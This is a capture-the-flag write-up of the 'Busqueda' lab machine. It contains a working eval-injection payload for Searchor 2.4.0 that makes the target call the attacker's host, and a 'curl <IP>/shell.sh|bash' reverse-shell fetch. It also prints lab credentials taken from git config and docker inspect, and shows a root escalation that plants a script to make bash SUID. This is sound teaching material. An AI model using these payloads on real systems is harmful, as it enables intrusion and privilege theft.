Busqueda
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.51.139
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 11:25 EDT
Warning: 10.129.51.139 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.51.139
Host is up (0.17s latency).
Not shown: 65515 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
We would have to add searcher.htb
to our /etc/hosts
file to view the website.
Searcher
This website seems to be a type of search engine using Flask:

We can submit queries at the bottom using a custom machine and stuff:

Whatever query we do here, depending on the engine, it would generate a URL for us with a query
parameter appended at the end:

It seems that the website rejects any engine that is not present on its list. Running gobuster
does not seem to reveal anything of interest, so let's take a closer look at the website itself. At the very bottom, it seems there's a link to the software being used, which is Searchor 2.4.0:

Looks like we need to do some source code review on this library.
Github Source Code
The repository seems to be on v2.5.0, while the website is running v2.4.0. As such, we probably need to dive into the logs of this website to find out what was changed from v2.4.0. Looking at the commit history, we see that there's a remove eval from search cli method
commit made:

Here are the changes made:

This is vulnerbale because it uses eval
to run the queries. Checking the v ersion, this edit was made for v2.4.2f, which means the machine is running a vulnerable version that is outdated since changes were not made for v2.4.0, specifically in the query
parameter.
I sent import('os').system('ping -c 1 10.10.16.41')
as the query, and got a response on tcpdump
:

Now, we just need to gain a reverse shell. It seems that eval
as it cannot process the reverse shells I put in. I found this writeup for a bug bounty that bypasses this by using compile()
.
However, this exploit would require us to 'close' the previous eval
function and use another one. As such, we have to prepend our payload with d'
to close the previous query. Using this payload, we can confirm RCE via curl
:
d'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl+http%3a//10.10.16.41/test")','a','single'))%2b'

All we have to do is change the command to curl <IP>/shell.sh|bash
.

With this, we can grab the user flag.
Privilege Escalation
First I upgraded the shell by dropping my SSH public key into the machine. Then we can continue with our enumeration.
Sudo Credentials
I initially ran a LinPEAS and pspy64
scan, but found nothing from there. Next thing is to look for credentials, and we can start with /var/www/app
since that's where the application source code is.
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Apr 10 14:41 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 14:35 templates
There was a git repo there, and I tried to view the logs but found nothing. Instead, within the directory there were some credentials:
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
We can attempt a password reuse on the svc
user to check the sudo
privileges:
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Cool. We can't read the file, but we can see the options we have:
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Running the docker-ps
option, we can see the other containers within the machine:
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 months ago Up 2 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 months ago Up 2 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Based on docker documentation, we would have to specify a format that we want to inspect. I {{.Config}}
for this and got a few passwords out:
svc@busqueda:/var/www/app/.git$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect {{.Config}} 960873171e2e
{960873171e2e false false false map[22/tcp:{} 3000/tcp:{}] false false false [USER_UID=115 USER_GID=121 GITEA__database__DB_TYPE=mysql GITEA__database__HOST=db:3306 GITEA__database__NAME=gitea GITEA__database__USER=gitea GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin USER=git GITEA_CUSTOM=/data/gitea] [/bin/s6-svscan /etc/s6] <nil> false gitea/gitea:latest map[/data:{} /etc/localtime:{} /etc/timezone:{}] [/usr/bin/entrypoint] false [] map[com.docker.compose.config-hash:e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515 com.docker.compose.container-number:1 com.docker.compose.oneoff:False com.docker.compose.project:docker com.docker.compose.project.config_files:docker-compose.yml com.docker.compose.project.working_dir:/root/scripts/docker com.docker.compose.service:server com.docker.compose.version:1.29.2 maintainer:maintainers@gitea.io org.opencontainers.image.created:2022-11-24T13:22:00Z org.opencontainers.image.revision:9bccc60cf51f3b4070f5506b042a3d9a1442c73d org.opencontainers.image.source:https://github.com/go-gitea/gitea.git org.opencontainers.image.url:https://github.com/go-gitea/gitea] <nil> []}
With this, we can try to access the Gitea instance at port 3000 via port forwarding.
Gitea -> Root shell
We can port foward via chisel
.
# on Busqueda
./chisel client 10.10.16.41:1080 R:3000:127.0.0.1:3000
# on kali
chisel server -p 1080 --reverse
Then we can access http://localhost:3000 to view Gitea:

Using the same MySQL password of yuiu1hoiu4i5ho1uh
, we can login as administrator
. We can see some repos:

And within administrator / scripts repo, we can read the system checkup script:
#!/bin/bash
import subprocess
import sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))
except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)
except Exception as e:
print('Something went wrong')
exit(1)
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
if __name__ == '__main__':
try:
action = sys.argv[1]
if action in actions:
process_action(action)
else:
raise IndexError
except IndexError:
print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
print('')
print(' docker-ps : List running docker containers')
print(' docker-inspect : Inpect a certain docker container')
print(' full-checkup : Run a full system checkup')
print('')
exit(1)
The full-checkup
seems to run a script, but it does not specify the absolute path of the script. As such, we can create a fake copy of this script and execute chmod u+s /bin/bash
.
We just need to create the malicious script named full-checkup.sh
and make it executable.
#!/bin/bash
chmod u+s /bin/bash
Afterwards, we can run the script with sudo
and see that /bin/bash
is now an SUID.
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
svc@busqueda:~$ /bin/bash -p
bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
bash-5.1# cat /root/root.txt
<REDACTED>
Pwned!
Last updated